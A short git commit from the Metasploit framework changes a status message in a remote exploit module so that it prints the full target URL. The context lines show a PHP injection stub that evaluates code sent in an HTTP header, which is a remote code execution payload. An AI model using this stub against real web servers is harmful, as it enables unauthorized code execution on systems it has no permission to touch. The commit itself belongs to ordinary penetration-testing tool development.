Print the full URI

Makes everything obvious from output alone, don't need to show options
to see what RHOST is.
This commit is contained in:
James Lee 2012-03-22 18:39:11 -06:00
parent e9d6309143
commit 17a044db89
1 changed files with 1 additions and 1 deletions

View File

@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
stub = "error_reporting(0);eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub))
print_status("Sending request for: #{uri}")
print_status("Sending request for: http#{ssl ? "s" : ""}://#{rhost}:#{rport}#{uri}")
print_status("Payload will be in a header called #{headername}")
response = send_request_raw({